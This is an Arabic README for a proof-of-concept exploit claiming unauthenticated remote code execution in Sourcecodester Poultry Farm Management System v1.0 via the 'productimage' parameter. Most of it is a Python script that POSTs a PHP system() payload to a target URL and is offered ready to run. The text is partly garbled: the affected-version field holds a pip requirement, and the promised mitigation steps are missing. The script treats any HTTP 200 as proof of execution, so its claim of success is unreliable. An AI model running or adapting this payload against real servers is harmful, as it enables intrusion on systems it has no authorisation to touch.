
إثبات المفهوم (PoC) سكربت يوضح تنفيذ الأوامر عن بُعد دون مصادقة في نظام إدارة مزرعة الدواجن Sourcecodester عبر المعامل الضعيف productimage.
يحتوي هذا المستودع على نص إثبات المفهوم (PoC) الذي يوضح ثغرة تنفيذ أوامر عن بعد بدون مصادقة (RCE) في Sourcecodester Poultry Farm Management System v1.0. توجد الثغرة في المعامل productimage في /farm/product.php، مما يسمح للمهاجم بتنفيذ أوامر عشوائية على الخادم.
CVE-ID: (قيد الانتظار)
نظرة عامة:
يحتوي Sourcecodester Poultry Farm Management System v1.0 على ثغرة تنفيذ أوامر عن بعد بدون مصادقة (RCE) عبر المعامل productimage في /farm/product.php. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر عشوائية على الخادم بدون مصادقة.
الإصدار المتأثر:
requests (pip install requests)يوضح هذا النص كيف يمكن للمهاجم استغلال ثغرة RCE عن طريق إرسال طلب خبيث إلى المعامل المُعرّض للثغرة.
احفظ النص التالي باسم rce_poc.py وقم بتشغيله.
import requests
# Configuration
target_url = "http://target-url/farm/product.php" # Change this to the target URL
# Malicious payload
# The payload should be a command that the server can execute, e.g., 'ls' to list directory contents
# Here, we are using a simple PHP payload to demonstrate the RCE
payload = "<?php system('ls'); ?>"
# Construct the malicious request
data = {
'productimage': payload # The vulnerable parameter
}
def exploit_rce(url, data):
"""
Exploit the RCE vulnerability by sending a malicious request to the target URL.
Args:
url (str): The target URL.
data (dict): The data to be sent in the POST request.
"""
try:
response = requests.post(url, data=data)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully executed the payload.")
else:
print("[-] Failed to execute the payload.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending malicious request to: {target_url}")
exploit_rce(target_url, data)
target_url إلى عنوان URL لنقطة النهاية /farm/product.php للخادم المُعرّض للثغرة.productimage.exploit_rce() الطلب الخبيث إلى عنوان URL المستهدف وتطبع تفاصيل الاستجابة.لتخفيف هذه الثغرة، اتبع الخطوات التالية:
باتباع خطوات التخفيف هذه وأفضل الممارسات الأمنية، يمكنك منع الثغرات مثل مشكلة RCE هذه في Sourcecodester Poultry Farm Management System v1.0.